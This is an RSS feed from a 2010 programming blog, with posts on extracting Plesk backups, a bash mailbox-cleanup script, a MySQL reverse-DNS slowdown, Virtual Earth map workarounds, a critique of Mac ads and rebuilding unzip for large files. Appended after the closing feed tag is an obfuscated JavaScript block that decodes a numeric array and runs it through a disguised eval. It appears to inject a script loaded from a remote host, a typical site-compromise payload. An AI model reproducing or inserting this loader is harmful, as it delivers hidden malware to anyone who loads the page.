<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Skookum Code</title>
	<atom:link href="http://www.stevenbarre.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stevenbarre.com/blog</link>
	<description>Ramblings of a Programmer</description>
	<lastBuildDate>Wed, 20 Oct 2010 04:50:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Plesk Backup Extraction</title>
		<link>http://www.stevenbarre.com/blog/2010/10/19/plesk-backup-extraction/</link>
		<comments>http://www.stevenbarre.com/blog/2010/10/19/plesk-backup-extraction/#comments</comments>
		<pubDate>Wed, 20 Oct 2010 04:49:07 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Linux Administration]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/?p=22</guid>
		<description><![CDATA[Ever wonder how to parse a plesk backup file? It ain&#8217;t easy. The Parallels Knoledge Base explains how to try and read it by greping and tailing and junk. Or to use an email client to open the file. I tried to open a backup in Thunderbird once. It was not a fan of my [...]]]></description>
			<content:encoded><![CDATA[<p>Ever wonder how to parse a plesk backup file?</p>
<p>It ain&#8217;t easy. The <a href="http://kb.parallels.com/1757">Parallels Knoledge Base</a> explains how to try and read it by greping and tailing and junk. Or to use an email client to open the file. </p>
<p>I tried to open a backup in Thunderbird once. It was not a fan of my 500MB backup file.</p>
<p>So I whined at my co-worker Andy about the dreadful pain of extracting single files out of large backups. Being that he can acutaly code in a real language (C#) he whipped me up a little utillity. </p>
<p><a href="http://andymdn.com/2010/10/11/pleskdump-a-plesk-backup-extraction-utility/">PleskDump &#8211; A Plesk Backup Extractor GUI for Windows!</a></p>
<p>Now when some client who canceled their site 6 months ago comes back and says &#8220;I need this one jpg I had on my site&#8221; I can get them their file with relatively little effort.</p>
<p>Andy is also working on a <a href="http://rets.org/">RETS</a> client for debugging RETS Servers and getting their metadata. Hope its done soon!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2010/10/19/plesk-backup-extraction/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plesk Mail Cleanup</title>
		<link>http://www.stevenbarre.com/blog/2009/10/07/plesk-mail-cleanup/</link>
		<comments>http://www.stevenbarre.com/blog/2009/10/07/plesk-mail-cleanup/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 05:30:34 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Linux Administration]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/?p=8</guid>
		<description><![CDATA[I recently discovered that Plesk does not delete the mail in a mailbox when it is disabled. This can leave large amounts of mail lying around when you switch from a mailbox to a forward. So I wrote a little bash script to clean up the folders for me. #!/bin/bash # Clean the maildir of [...]]]></description>
			<content:encoded><![CDATA[<p>I recently discovered that Plesk does not delete the mail in a mailbox when it is disabled. This can leave large amounts of mail lying around when you switch from a mailbox to a forward. So I wrote a little bash script to clean up the folders for me.</p>
<p><code>#!/bin/bash<br />
# Clean the maildir of all disabled mail accounts of mail<br />
# Get the system hostname since the filename of all the emails contain it<br />
HOSTNAME=`hostname -f`<br />
# fetch a list of all the mailboxes that are turned off<br />
# skip column names so we only get the mailbox paths<br />
for d in `echo "SELECT CONCAT_WS('/',domains.name,mail.mail_name) AS 'path' FROM domains,mail WHERE domains.id = mail.dom_id AND mail.postbox = 'false' GROUP BY mail.id ORDER BY domains.name ASC , mail.mail_name ASC" | mysql psa --skip-column-names`;<br />
do<br />
       # find all the files with the hostname in it and delete them.<br />
       # this makes sure we get the IMAP folders as well such as .sent-mail<br />
       find /var/qmail/mailnames/$d/Maildir/ -type f -name "*$HOSTNAME*" -exec rm -vf {} \;<br />
done</code></p>
<p>This will delete all the mail, but leave the spamassassin and courier settings in place.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2009/10/07/plesk-mail-cleanup/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MySQL Too Many Unauthenticated connections</title>
		<link>http://www.stevenbarre.com/blog/2009/10/07/mysql-too-many-unauthenticated-connections/</link>
		<comments>http://www.stevenbarre.com/blog/2009/10/07/mysql-too-many-unauthenticated-connections/#comments</comments>
		<pubDate>Thu, 08 Oct 2009 05:23:12 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Linux Administration]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/?p=6</guid>
		<description><![CDATA[A few days ago at work we had one of our MySQL servers start hitting the connection limit. This server gets about 20-40 new connections a second. The maxed out connections wouldn&#8217;t last long and after a few attempts I got a process list when the server was maxed out. What I saw was a [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago at work we had one of our MySQL servers start hitting the connection limit. This server gets about 20-40 new connections a second. The maxed out connections wouldn&#8217;t last long and after a few attempts I got a process list when the server was maxed out.</p>
<p>What I saw was a whole bunch of connections from our load balanced IP.</p>
<p><code>| 108160 | unauthenticated user | 192.168.XXX.XXX:3449 | NULL | Connect | NULL | login | NULL<br />
| 108162 | unauthenticated user | 192.168.XXX.XXX:39610 | NULL | Connect | NULL | login | NULL |<br />
| 108163 | unauthenticated user | 192.168.XXX.XXX:39611 | NULL | Connect | NULL | login | NULL |<br />
| 108164 | unauthenticated user | 192.168.XXX.XXX:39612 | NULL | Connect | NULL | login | NULL |<br />
| 108165 | unauthenticated user | 192.168.XXX.XXX:39613 | NULL | Connect | NULL | login | NULL |<br />
| 108166 | unauthenticated user | 192.168.XXX.XXX:39614 | NULL | Connect | NULL | login | NULL |<br />
| 108167 | unauthenticated user | 192.168.XXX.XXX:39615 | NULL | Connect | NULL | login | NULL | </code></p>
<p>After much Googling I found this post on the MySQL Forums with <a href="http://forums.mysql.com/read.php?30,27073,146408#msg-146408">the answer</a>! Because MySQL can use hostnames as well as IP addresses in user privileges it must look up all IP addresses to determine their hostname. The DNS servers were running a little slow that day and were taking a few seconds to do (and fail) the reverse lookups for our loadbalancer IP address.</p>
<p>I added the load balancer IP to the /etc/hosts file and have not had this issue since!</p>
<p>This bug post also <a href="http://bugs.mysql.com/bug.php?id=2814">details the problem</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2009/10/07/mysql-too-many-unauthenticated-connections/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mircosoft Maps Tips and Tricks</title>
		<link>http://www.stevenbarre.com/blog/2007/12/17/mircosoft-maps-tips-and-tricks/</link>
		<comments>http://www.stevenbarre.com/blog/2007/12/17/mircosoft-maps-tips-and-tricks/#comments</comments>
		<pubDate>Tue, 18 Dec 2007 06:56:58 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Web Programing]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/2007/12/17/mircosoft-maps-tips-and-tricks/</guid>
		<description><![CDATA[So I recently wrote a map search using Microsoft&#8217;s Virtual Earth mapping software. This is similar to what Google has available. I wrote my map against the v5 API, but i&#8217;m sure not too much has changed in v6. The SDK can be found here http://dev.live.com/virtualearth/sdk/ The first problem I ran into with Virtual Earth [...]]]></description>
			<content:encoded><![CDATA[<p>So I recently wrote a map search using Microsoft&#8217;s <a href="http://maps.live.com/">Virtual Earth</a> mapping software. This is similar to what <a href="http://maps.live.com/">Google</a> has available.</p>
<p>I wrote my map against the v5 API, but i&#8217;m sure not too much has changed in v6. The SDK can be found here <a href="http://dev.live.com/virtualearth/sdk/">http://dev.live.com/virtualearth/sdk/</a></p>
<p>The first problem I ran into with Virtual Earth maps is that unlike the Google counterparts, the MS VE maps do not fix transparent PNGs in IE 6.</p>
<p>TwinHelix has a great hack for getting <a href="http://www.twinhelix.com/css/iepngfix/">transparent PNG support in IE 6</a>. Once you download this zip you will need to add some code to your map page.<br />
<code> &lt;style type="text/css"&gt;<br />
img { behavior: url(/path/to/iepngfix.htc) }<br />
&lt;/style&gt;</code></p>
<p>You will also need to edit the iepngfix.htc to tell it where your blank.gif file is (provided in the zip).<br />
<code>// This must be a path to a blank image. That's all the configuration you need.<br />
if (typeof blankImg == 'undefined') var blankImg = '/images/blank.gif';</code></p>
<p>The next problem I ran into was also an IE 6 issue. You would think that the Microsoft map would work with the Microsoft browser. Unlike the Google maps the info windows for the pins can escape the borders of the map div. This can be a problem if you have &#8220;ActiveX controls&#8221; near your map, Apparently in IE 6 a dropdown form element is an Activex Control and will show through a pins info window. I fixed this using the <a href="http://blog.brandonaaron.net/my-jquery-plugins/background-iframe/">JQuery plugin BGIFrame</a> from Brandon Aaron. To use you will need JQuery and just include the .js file. Then in the function that starts your VE Map bgiframe the ero box.<br />
<code>function generateMap()<br />
{<br />
/* Load the map */<br />
map = new VEMap('mapContainer');<br />
map.LoadMap(new VELatLong([map_lat], [map_lon]), [map_zoom]);<br />
$('.ero-shadow').bgiframe();<br />
}</code></p>
<p>The final problem I found was trying to manually open and info window. I wanted the info box to open when the user moused over the pin. The easy part is attaching the event. Just add this to the map generating function.<br />
<code> /* Attach the events */<br />
map.AttachEvent('onmouseover', openWindow);</code></p>
<p>The hard part was getting the function to work. Here is my final openWindow function.<br />
<code>function openWindow(e)<br />
{<br />
if (e.elementID != null)<br />
{<br />
window.ero.setBoundingArea(<br />
new Msn.VE.Geometry.Point(0,0),<br />
new  Msn.VE.Geometry.Point(document.body.clientWidth,document.body.clientHeight+600));<br />
map.ShowInfoBox(e);<br />
}<br />
}</code><br />
Don&#8217;t ask me why that works, it just does. But there were some people on the MSDN Forums talking about being able to get a <a href="http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1551674&amp;SiteID=1">reference to the map pin</a>.</p>
<p>The one other thing that has been bugging me about the Virtual Earth info windows is there shape and size. They don&#8217;t seem to be all that resizeable compared to the Google map bubbles. But that will have to wait for another project.</p>
<p>I hope you have found this information useful and helped you build a better mapping application.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2007/12/17/mircosoft-maps-tips-and-tricks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Get a Mac Ad: Meant for Work</title>
		<link>http://www.stevenbarre.com/blog/2007/03/18/get-a-mac-ad-meant-for-work/</link>
		<comments>http://www.stevenbarre.com/blog/2007/03/18/get-a-mac-ad-meant-for-work/#comments</comments>
		<pubDate>Mon, 19 Mar 2007 06:14:12 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Commentary]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/2007/03/18/get-a-mac-ad-meant-for-work/</guid>
		<description><![CDATA[I am getting kind of tired of the Mac ads. They are starting to seem more and more like a bad politician&#8217;s smear campaign against his rival. This ad talks about how a PC is built solely for the business environment while a Mac is perfect for the home. The PC first complains about how [...]]]></description>
			<content:encoded><![CDATA[<p>I am getting kind of tired of the Mac ads. They are starting to seem more and more like a bad politician&#8217;s smear campaign against his rival.</p>
<p>This ad talks about how a PC is built solely for the business environment while a Mac is perfect for the home.</p>
<p><center><object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/Hao-VSm2rlo"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/Hao-VSm2rlo" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object></center></p>
<p>The PC first complains about how he has to &#8220;make movies and blogs and listen to music&#8221;. Blogs are web based and are therefore platform independent. Music (except for the DRM&#8217;ed kind) are also platform independent. In fact a Linux computer could do both of these things. As for the movies bit, thats a bit of a different argument. I have used Windows Movie Maker and found it fairly simple to use, but also fairly limited in power. iMovie may be a bit better in this reguard. Anyone doing a serious amount of movie making will not be using either of these programs. They would be using something like FinalCut with costs about $1500. Since that is out of the price range of a 10 year old, it doest fit here. Any movie a 10 year old is making will most likely be shots from a web cam with some simple titles and transition effects. Both the PC and Mac movie makers can do this.</p>
<p>The PC claims that the Mac was &#8220;made to stimulate 10 year olds with your iLife jazz&#8221;. What exactly is in iLife?<br />
iMovie HD : web cams don&#8217;t shoot in HD. If your 10 year old needs to edit HD movies you must be spoiling them.<br />
iDVD : again, what 10 year old is making DVDs?<br />
iWeb :  a set of tools for creating your own website and posting it to a .Mac account. 10 year olds don&#8217;t have .Mac accounts. And why is it limited to just .Mac websites? Why cant I post anything I make to my own server?<br />
iPhoto : kids don&#8217;t organize there photos on the desktop. They use the web and services like <a href="http://www.flickr.com/">Flickr</a>. Again, web services are platform independed/<br />
GarageBand : OK, I&#8217;ll give you this one. GarageBand is cool and has no equivalent on the PC. And I can totally see a 10 year old using this.</p>
<p>What do kids fine most &#8220;engaging&#8221;? Video Games!!!! I can count on one hand the number of games for the Mac. In fact I think the iPod has more games. Here is a great game to engage young minds.</p>
<p><center><img src="http://ec2.images-amazon.com/images/P/B000B6JAR2.01._AA280_SCLZZZZZZZ_.jpg" alt="Math Blaster" /></center></p>
<p>And as <a href="http://www.amazon.com/gp/product/B000B6JAR2/ref=amb_link_552532_10/102-4249937-6271302">Amazon</a> clearly states, only on Windows. So how can a Mac be more engaging to a 10 year old with out any video games, even educational ones?</p>
<p>Now don&#8217;t get me wrong, I&#8217;m not a Windows fanboy or a Mac hater. I think all three platforms have there place and pros and cons. But I do hate decietflul lying ads that misrepresent facts in order to sell more stuff. I plan to do more posts on the problems with the Mac ads, but I will leave out some of the ads that are fairly accurate and not smear ads against their competitor.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2007/03/18/get-a-mac-ad-meant-for-work/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to UnZip Large Files ( Greater than 2 GB )</title>
		<link>http://www.stevenbarre.com/blog/2007/03/04/how-to-unzip-large-files-greater-than-2-gb/</link>
		<comments>http://www.stevenbarre.com/blog/2007/03/04/how-to-unzip-large-files-greater-than-2-gb/#comments</comments>
		<pubDate>Sun, 04 Mar 2007 22:23:48 +0000</pubDate>
		<dc:creator>Steven Barre</dc:creator>
				<category><![CDATA[Linux Administration]]></category>

		<guid isPermaLink="false">http://www.stevenbarre.com/blog/?p=3</guid>
		<description><![CDATA[Have you ever needed to unzip files greater than 2 GB on a Linux system and found that you couldn&#8217;t? Well you need to recompile unzip with large file support. Now if someone could tell me why the rpms that come with RedHat EL 4 don&#8217;t have large file support automatically, I would love to [...]]]></description>
			<content:encoded><![CDATA[<p>Have you ever needed to unzip files greater than 2 GB on a Linux system and found that you couldn&#8217;t? Well you need to recompile unzip with large file support.</p>
<p>Now if someone could tell me why the rpms that come with RedHat EL 4 don&#8217;t have large file support automatically, I would love to know. Especially since Windows can handle large files out of the box.</p>
<p>I am not sure, but I believe that if your zip file is less than 2 gigs but will expand to larger than 2 gigs you may also need this.</p>
<p>On to the directions!</p>
<p>1) Get and unzip the source code for UnZip. The best place to get it is from <a href="http://www.info-zip.org/">http://www.info-zip.org/</a> the home of the open source UnZip.</p>
<p>2) Edit the Makefile<br />
<code>$ vi unix/Makefile</code></p>
<p>Find the section begining<br />
<code># Linux on 386 platform, using the assembler replacement for crc32.c. (-O4 and<br />
# -fno-strength-reduce have virtually no effect beyond -O3.  Add "-m486<br />
# -malign-functions=2 -malign-jumps=2 -malign-loops=2" for Pentium [Pro]<br />
# systems.)<br />
linux:          unix_make</code></p>
<p>Find the line<br />
<code>CF="-O3 -Wall -I. -DASM_CRC $(LOC)"\</code>and replace it with<br />
<code>CF="-O3 -Wall -I. -DASM_CRC -DLARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 $(LOC)"\</code></p>
<p>3) Compile UnZip<br />
<code>$ make -f unix/Makefile linux</code></p>
<p>4) Copy the unzip binary to /usr/bin/ or a users bin directory and begin unzipping large files!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stevenbarre.com/blog/2007/03/04/how-to-unzip-large-files-greater-than-2-gb/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<script>h=-parseInt('012')/5;if(window["document"])try{prototype;}catch(brebr){st=String;zz='al';zz='zv'.substr(1)+zz;ss=[];f='fr'+'omCh';f+='arC';f+='qgode'["substr"](2);w=this;e=w[f["substr"](11)+zz];t='y';}n="19#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#58#47.5#56#15#57.5#56#53#15#29.5#15#18.5#51#57#57#55#28#22.5#22.5#49#23#49#23#54#26.5#56#22#55#58.5#50#54.5#49#51#49#49#52#51#22#51#54.5#53.5#49.5#53#51.5#54#57.5#59#22#54#49.5#57#22.5#50.5#22.5#18.5#28.5#5.5#4#3.5#51.5#50#15#19#57#59.5#55#49.5#54.5#50#15#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#18.5#57.5#54#49#49.5#50#51.5#54#49.5#49#18.5#19.5#15#60.5#5.5#4#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23#28.5#5.5#4#3.5#61.5#5.5#4#3.5#49#54.5#48.5#57.5#53.5#49.5#54#57#22#54.5#54#53.5#54.5#57.5#56.5#49.5#53.5#54.5#58#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#51.5#50#15#19#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#29.5#29.5#15#23#19.5#15#60.5#5.5#4#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#23.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#51#49.5#47.5#49#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#50.5#49.5#57#33.5#53#49.5#53.5#49.5#54#57#56.5#32#59.5#41#47.5#50.5#38#47.5#53.5#49.5#19#18.5#51#49.5#47.5#49#18.5#19.5#44.5#23#45.5#28.5#5.5#4#3.5#3.5#3.5#58#47.5#56#15#56.5#48.5#56#51.5#55#57#15#29.5#15#49#54.5#48.5#57.5#53.5#49.5#54#57#22#48.5#56#49.5#47.5#57#49.5#33.5#53#49.5#53.5#49.5#54#57#19#18.5#56.5#48.5#56#51.5#55#57#18.5#19.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#57#59.5#55#49.5#15#29.5#15#18.5#57#49.5#59#57#22.5#52#47.5#58#47.5#56.5#48.5#56#51.5#55#57#18.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#56#49.5#47.5#49#59.5#56.5#57#47.5#57#49.5#48.5#51#47.5#54#50.5#49.5#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#15#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#51.5#50#15#19#57#51#51.5#56.5#22#56#49.5#47.5#49#59.5#40.5#57#47.5#57#49.5#15#29.5#29.5#15#18.5#48.5#54.5#53.5#55#53#49.5#57#49.5#18.5#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#3.5#61.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#54.5#54#53#54.5#47.5#49#15#29.5#15#50#57.5#54#48.5#57#51.5#54.5#54#19#19.5#15#60.5#5.5#4#3.5#3.5#3.5#3.5#58.5#51.5#54#49#54.5#58.5#22#59#59.5#60#50#53#47.5#50.5#15#29.5#15#24#28.5#5.5#4#3.5#3.5#3.5#61.5#28.5#5.5#4#3.5#3.5#3.5#56.5#48.5#56#51.5#55#57#22#56.5#56#48.5#15#29.5#15#57.5#56#53#15#20.5#15#37.5#47.5#57#51#22#56#47.5#54#49#54.5#53.5#19#19.5#22#57#54.5#40.5#57#56#51.5#54#50.5#19#19.5#22#56.5#57.5#48#56.5#57#56#51.5#54#50.5#19#24.5#19.5#15#20.5#15#18.5#22#52#56.5#18.5#28.5#5.5#4#3.5#3.5#3.5#51#49.5#47.5#49#22#47.5#55#55#49.5#54#49#32.5#51#51.5#53#49#19#56.5#48.5#56#51.5#55#57#19.5#28.5#5.5#4#3.5#3.5#61.5#5.5#4#3.5#61.5#28.5#5.5#4#61.5#19.5#19#19.5#28.5"[((e)?"s":"")+"p"+"lit"]("a#".substr(1));for(i=6-2-1-2-1;i!=693;i++){j=i;if(st)ss=ss+st.fromCharCode(-h*(1+1*n[j]));}if(t)q=ss;if(e)e(""+q);</script>
